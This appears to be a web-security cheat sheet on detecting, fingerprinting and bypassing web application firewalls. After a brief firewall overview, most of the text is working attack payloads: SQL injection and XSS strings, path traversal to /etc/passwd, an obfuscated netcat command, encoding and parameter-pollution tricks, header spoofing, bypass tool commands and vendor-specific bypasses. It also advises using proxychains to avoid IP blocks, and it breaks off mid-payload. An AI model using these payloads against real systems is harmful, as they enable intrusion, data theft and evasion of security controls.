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A firewall is a network security device that monitors incoming and outgoing network traffic and decides whether to allow or block specific traffic based on a defined set of security rules.
Firewalls have been a first line of defense in network security for over 25 years. They establish a barrier between secured and controlled internal networks that can be trusted and untrusted outside networks, such as the Internet.
A firewall can be hardware, software, or both.
An early type of firewall device, a proxy firewall serves as the gateway from one network to another for a specific application. Proxy servers can provide additional functionality such as content caching and security by preventing direct connections from outside the network. However, this also may impact throughput capabilities and the applications they can support.
Now thought of as a “traditional” firewall, a stateful inspection firewall allows or blocks traffic based on state, port, and protocol. It monitors all activity from the opening of a connection until it is closed. Filtering decisions are made based on both administrator-defined rules as well as context, which refers to using information from previous connections and packets belonging to the same connection.
A UTM device typically combines, in a loosely coupled way, the functions of a stateful inspection firewall with intrusion prevention and antivirus. It may also include additional services and often cloud management. UTMs focus on simplicity and ease of use.
Firewalls have evolved beyond simple packet filtering and stateful inspection. Most companies are deploying next-generation firewalls to block modern threats such as advanced malware and application-layer attacks.
According to Gartner, Inc.’s definition, a next-generation firewall must include:
Standard firewall capabilities like stateful inspection
Integrated intrusion prevention
Application awareness and control to see and block risky apps
Upgrade paths to include future information feeds
Techniques to address evolving security threats
These firewalls include all the capabilities of a traditional NGFW and also provide advanced threat detection and remediation. With a threat-focused NGFW you can:
Know which assets are most at risk with complete context awareness
Quickly react to attacks with intelligent security automation that sets policies and hardens your defenses dynamically
Better detect evasive or suspicious activity with network and endpoint event correlation
Greatly decrease the time from detection to cleanup with retrospective security that continuously monitors for suspicious activity and behavior even after initial inspection
Ease administration and reduce complexity with unified policies that protect across the entire attack continuum
A virtual firewall is typically deployed as a virtual appliance in a private cloud (VMware ESXi, Microsoft Hyper-V, KVM) or public cloud (AWS, Azure, Google, Oracle) to monitor and secure traffic across physical and virtual networks. A virtual firewall is often a key component in software-defined networks (SDN).
- Web Application Firewall
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
- Negative Model (Blacklist based) - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all
<script>*</script>inputs. - Positive Model (Whitelist based) - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- Mixed/Hybrid Model (Inclusive model) - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.
- Always look out for common ports that expose that a WAF, namely
80,443,8000,8008,8080and8088ports.Tip: You can use automate this easily by commandline using tools like like cURL.
- Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (eg. Netscaler, Big-IP).
- Some expose themselves in the
Serverheader (eg. Approach, WTS WAF). - Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).
To identify WAFs, we need to (dummy) provoke it.
- Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
- Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
- Make GET requests to random open ports and grab banners which might expose the WAFs identity.
- If there is a login page somewhere, try some common (easily detectable) payloads like
" or 1 = 1 --. - If there is some input field somewhere, try with noisy payloads like
<script>alert()</script>. - Attach a dummy
../../../etc/passwdto a random parameter at end of URL. - Append some catchy keywords like
' OR SLEEP(5) OR 'at end of URLs to any random parameter. - Make GET requests with outdated protocols like
HTTP/0.9(HTTP/0.9does not support POST type queries). - Many a times, the WAF varies the
Serverheader upon different types of interactions. - Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
Tip: This method could be easily achieved with tools like HPing3 or Scapy.
- Side Channel Attacks - Examine the timing behaviour of the request and response content.
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
| WAF | Fingerprints |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
Lets look at some methods of bypassing and evading WAFs.
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
- In this method we try to fingerprint the rules step by step by observing the keywords being blacklisted.
- The idea is to guess the regex and craft the next payloads which doesn't use the blacklisted keywords.
Case: SQL Injection
Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
- Blocked Attempt:
union select user, password from users - Bypassed Injection:
1 || (select user from users where user_id = 1) = 'admin'
Keywords Filtered: and, or, union, where
- Blocked Attempt:
1 || (select user from users where user_id = 1) = 'admin' - Bypassed Injection:
1 || (select user from users limit 1) = 'admin'
Keywords Filtered: and, or, union, where, limit
- Blocked Attempt:
1 || (select user from users limit 1) = 'admin' - Bypassed Injection:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
Keywords Filtered: and, or, union, where, limit, group by
- Blocked Attempt:
1 || (select user from users group by user_id having user_id = 1) = 'admin' - Bypassed Injection:
1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
Keywords Filtered: and, or, union, where, limit, group by, select
- Blocked Attempt:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 - Bypassed Injection:
1 || 1 = 1 into outfile 'result.txt' - Bypassed Injection:
1 || substr(user,1,1) = 'a'
Keywords Filtered: and, or, union, where, limit, group by, select, '
- Blocked Attempt:
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 - Bypassed Injection:
1 || user_id is not null - Bypassed Injection:
1 || substr(user,1,1) = 0x61 - Bypassed Injection:
1 || substr(user,1,1) = unhex(61)
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex
- Blocked Attempt:
1 || substr(user,1,1) = unhex(61) - Bypassed Injection:
1 || substr(user,1,1) = lower(conv(11,10,36))
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr
- Blocked Attempt:
1 || substr(user,1,1) = lower(conv(11,10,36)) - Bypassed Injection:
1 || lpad(user,7,1)
Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space
- Blocked Attempt:
1 || lpad(user,7,1) - Bypassed Injection:
1%0b||%0blpad(user,7,1)
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.
1. Case Toggling
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine upper and lower case characters for developing efficient payloads.
Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
- Encode normal payloads with % encoding/URL encoding.
- Can be done with online tools like this.
- Burp includes a in-built encoder/decoder.
Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
- ASCII characters in unicode encoding encoding provide great variants for bypassing.
- You can encode entire/part of the payload for obtaining results.
Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>
Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)
Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode alternative)
Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
- Often web apps encode special characters into HTML encoding and render them accordingly.
- This leads us to basic bypass cases with HTML encoding (numeric/generic).
Standard: "><img src=x onerror=confirm()>
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
5. Mixed Encoding
- Sometimes, WAF rules often tend to filter out a specific type of encoding.
- This type of filters can be bypassed by mixed encoding payloads.
- Tabs and newlines further add to obfuscation.
Obfuscated:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6. Using Comments
- Comments obfuscate standard payload vectors.
- Different payloads have different ways of obfuscation.
Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>
Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--
7. Double Encoding
- Often WAF filters tend to encode characters to prevent attacks.
- However poorly developed filters (no recursion filters) can be bypassed with double encoding.
Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E
8. Wildcard Obfuscation
- Globbing patterns are used by various command-line utilities to work with multiple files.
- We can tweak them to execute system commands.
- Specific to remote code execution vulnerabilities on linux systems.
Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s
Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]
9. Dynamic Payload Generation
- Different programming languages have different syntaxes and patterns for concatenation.
- This allows us to effectively generate payloads that can bypass many filters and rules.
Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>
Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd
Bash allows path concatenation for execution.
Standard: <iframe/onload='this["src"]="javascript:alert()"';>
Obfuscated: <iframe/onload='this["src"]="jav"+"as	cr"+"ipt:al"+"er"+"t()"';>
9. Junk Characters
- Normal payloads get filtered out easily.
- Adding some junk chars helps avoid detection (specific cases only).
- They often help in confusing regex based firewalls.
Standard: <script>alert()</script>
Obfuscated: <script>+-+-1-+-+alert(1)</script>
Standard: <BODY onload=alert()>
Obfuscated: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>
NOTE: The above payload can break the regex parser to cause an exception.
Standard: <a href=javascript;alert()>ClickMe
Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
10. Line Breaks
- Many WAF with regex based filtering effectively blocks many attempts.
- Line breaks (CR/LF) can break firewall regex and bypass stuff.
Standard: <iframe src=javascript:confirm(0)">
Obfuscated: <iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
11. Uninitialized Variables
- Uninitialized bash variables can evade bad regular expression based filters and pattern match.
- These have value equal to null/they act like empty strings.
- Both bash and perl allow this kind of interpretations.
BONUS: Variable names can have any number of random characters. I have represented them here as
$aaaaaa,$bbbbbb, and so on. You can replace them with any number of random chars like$ushdjahand so on. ;)
-
Level 1 Obfuscation: Normal
Standard:/bin/cat /etc/passwd
Obfuscated:/bin/cat$u /etc/passwd$u -
Level 2 Obfuscation: Postion Based
Standard:/bin/cat /etc/passwd
Obfuscated:$u/bin$u/cat$u $u/etc$u/passwd$u -
Level 3 Obfuscation: Random characters
Standard:/bin/cat /etc/passwd
Obfuscated:$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff
An exotic payload crafted:
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
12. Tabs and Line Feeds
- Tabs often help to evade firewalls especially regex based ones.
- Tabs can help break firewall regex when the regex is expecting whitespaces and not tabs.
Standard: <IMG SRC="javascript:alert();">
Bypassed: <IMG SRC=" javascript:alert();">
Variant: <IMG SRC=" jav ascri pt:alert ();">
Standard: http://test.com/test?id=1 union select 1,2,3
Standard: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Standard: <iframe src=javascript:alert(1)></iframe>
Obfuscated:
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
13. Token Breakers
-
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
-
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
-
However, the request must still remain valid while using token-breakers.
-
Case: Unknown Token for the Tokenizer
- Payload:
?id=‘-sqlite_version() UNION SELECT password FROM users --
- Payload:
-
Case: Unknown Context for the Parser (Notice the uncontexted bracket)
- Payload 1:
?id=123);DROP TABLE users -- - Payload 2:
?id=1337) INTO OUTFILE ‘xxx’ --
- Payload 1:
TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
- Many web applications support different encoding types and can interpret the encoding (see below).
- Obfuscating our payload to a format not supported by WAF but the server can smuggle our payload in.
Case: IIS
- IIS6, 7.5, 8 and 10 (ASPX v4.x) allow IBM037 character interpretations.
- We can encode our payload and send the encoded parameters with the query.
Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
Obfuscated Request + URL Encoding:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.
| Target | Encodings | Notes |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
|
- This attack method is based on how a server interprets parameters with the same names.
- Possible bypass chances here are:
- The server uses the last received parameter, and WAF checks only the first.
- The server unites the value from similar parameters, and WAF checks them separately.
- The idea is to enumerate how the parameters are being interpreted by the server.
- In such a case we can pass the payload to a parameter which isn't being inspected by the WAF.
- Distributing a payload across parameters which can later get concatenated by the server is also useful.
Below is a comparison of different servers and their relative interpretations:
| Environment | Parameter Interpretation | Example |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | First parameter is resulting | par1=val1 |
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Zeus | Last parameter is resulting | par1=val2 |
| PHP/Apache | Last parameter is resulting | par1=val2 |
| JSP, Servlet/Jetty | First parameter is resulting | par1=val1 |
| IBM Lotus Domino | First parameter is resulting | par1=val1 |
| IBM HTTP Server | Last parameter is resulting | par1=val2 |
| mod_perl, libapeq2/Apache | First parameter is resulting | par1=val1 |
| Oracle Application Server 10G | First parameter is resulting | par1=val1 |
| Perl CGI/Apache | First parameter is resulting | par1=val1 |
| Python/Zope | First parameter is resulting | par1=val1 |
| IceWarp | An array is returned | ['val1','val2'] |
| AXIS 2400 | Last parameter is resulting | par1=val2 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
| mod-wsgi (Python)/Apache | An array is returned | ARRAY(0x8b9058c) |
- HPF is based on the principle where the server unites the value being passed along the parameters.
- We can split the payload into different components and then pass the values via the parameters.
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
- When the site decodes the string, the payload gets triggered.
Example request:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.
Final URL encoded payload:
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
- The null bytes are commonly used as string terminator.
- This can help us evade many web application filters in case they are not filtering out the null bytes.
Payload examples:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>
- RFC states that NodeNames cannot begin with whitespace.
- But we can use special chars like
%,//,!,?, etc.
Examples:
<// style=x:expression\28write(1)\29>- Works upto IE7 (Source)<!--[if]><script>alert(1)</script -->- Works upto IE9 (Reference)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>- Works in IE7 (Reference)<%div%20style=xss:expression(prompt(1))>- Works Upto IE7
- Every browser has their own specific charset of separators.
- We can fuzz charset range of
0x00to0xFFand get the set of separators for each browser. - We can use these separators in places where a space is required.
Here is a compiled list of separators by @Masato Kinugawa:
- IExplorer:
0x09,0x0B,0x0C,0x20,0x3B - Chrome:
0x09,0x20,0x28,0x2C,0x3B - Safari:
0x2C,0x3B - FireFox:
0x09,0x20,0x28,0x2C,0x3B - Opera:
0x09,0x20,0x2C,0x3B - Android:
0x09,0x20,0x28,0x2C,0x3B
An exotic payload example:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
- This method aims at finding a way of exploitation not considered by the WAF developers.
- Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
- This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
- JavaScript functions:
windowparentthisself
- Tag attributes:
onwheelontoggleonfilterchangeonbeforescriptexecuteondragstartonauxclickonpointeroversrcdoc
- SQL Operators
lpadfieldbit_count
Example Payloads:
- Case: XSS
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
- Case: SQLi
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
Many alternatives to the original JavaScript can be used, namely:
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
- Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
- Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
- Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
- Find out the ciphers supported by the server (tools like SSLScan helps here).
- If a specific cipher not supported by WAF but by the server, is found, voila!
- Initiating a new connection to the server with that specific cipher should smuggle our payload in.
Tool: abuse-ssl-bypass-waf
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
CLI tools like cURL can come very handy for PoCs:
curl --ciphers <cipher> -G <test site> -d <payload with parameter>
- Many a times, WAFs have a limit on how much of the HTTP request they are meant to handle.
- By sending a HTTP request with a size greater than the limit, we can fully evade WAFs.
- Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
- Once done, attach your payload to the request after filling the limit with garbage.
A similar technique was used to bypass Google Cloud Platform WAF.
- Often old historical DNS records provide information about the location of the site behind the WAF.
- The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.
Tool: bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
- Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
- This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
- Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
- Usually some
*-sync-requestkeywords or a shared token value is used as the secret. - Often adding specific headers may trigger a similar whitelist behaviour.
Now when making a request to the server, you can append it as a parameter:
http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True
A real life example how this works can be found at this blog.
- The target is to fool the WAF/server into believing it was from their internal network.
- Adding some spoofed headers to represent the internal network, does the trick.
- With each request some set of headers are to be added simultaneously thus spoofing the origin.
- The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
Some common headers used:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
- There are a lot of known bypasses of various web application firewalls (see section).
- With the help of google dorks, we can easily find bypasses.
Before anything else, you should hone up skills from Google Dorks Cheat Sheet.
-
Normal search:
+<wafname> waf bypass -
Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit) -
For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit) -
On Exploit DB:
site:exploit-db.com +<wafname> bypass -
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit) -
On Twitter:
site:twitter.com +<wafname> bypass -
On Pastebin
site:pastebin.com +<wafname> bypass
- SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult
%C0%80'+union+select+col1,col2,col3+from+table+--+
"; select * from TARGET_TABLE --
- XSS Bypass by @kmkz
<script>eval(atob(decodeURIComponent("payload")))//
- Cross Site Scripting by @WAFNinja
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
- HTML Injection by @Global-Evolution
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
- XSS Bypass by @0xInfection
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
- Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) by @xort
- Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) by @xort
- Username Enumeration Protection Bypass by HTTP Verb Tampering by @ed0x21son
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
- Protected Admin Scripts Bypass by @ed0x21son
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
- REST API Disable Bypass by @ed0x21son
http://host/index.php/wp-json/wp/v2/users/
- SQLi via HTTP Parameter Pollution (NS10.5) by @BGA Security
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=alert()//
<a href="j	a	v	asc
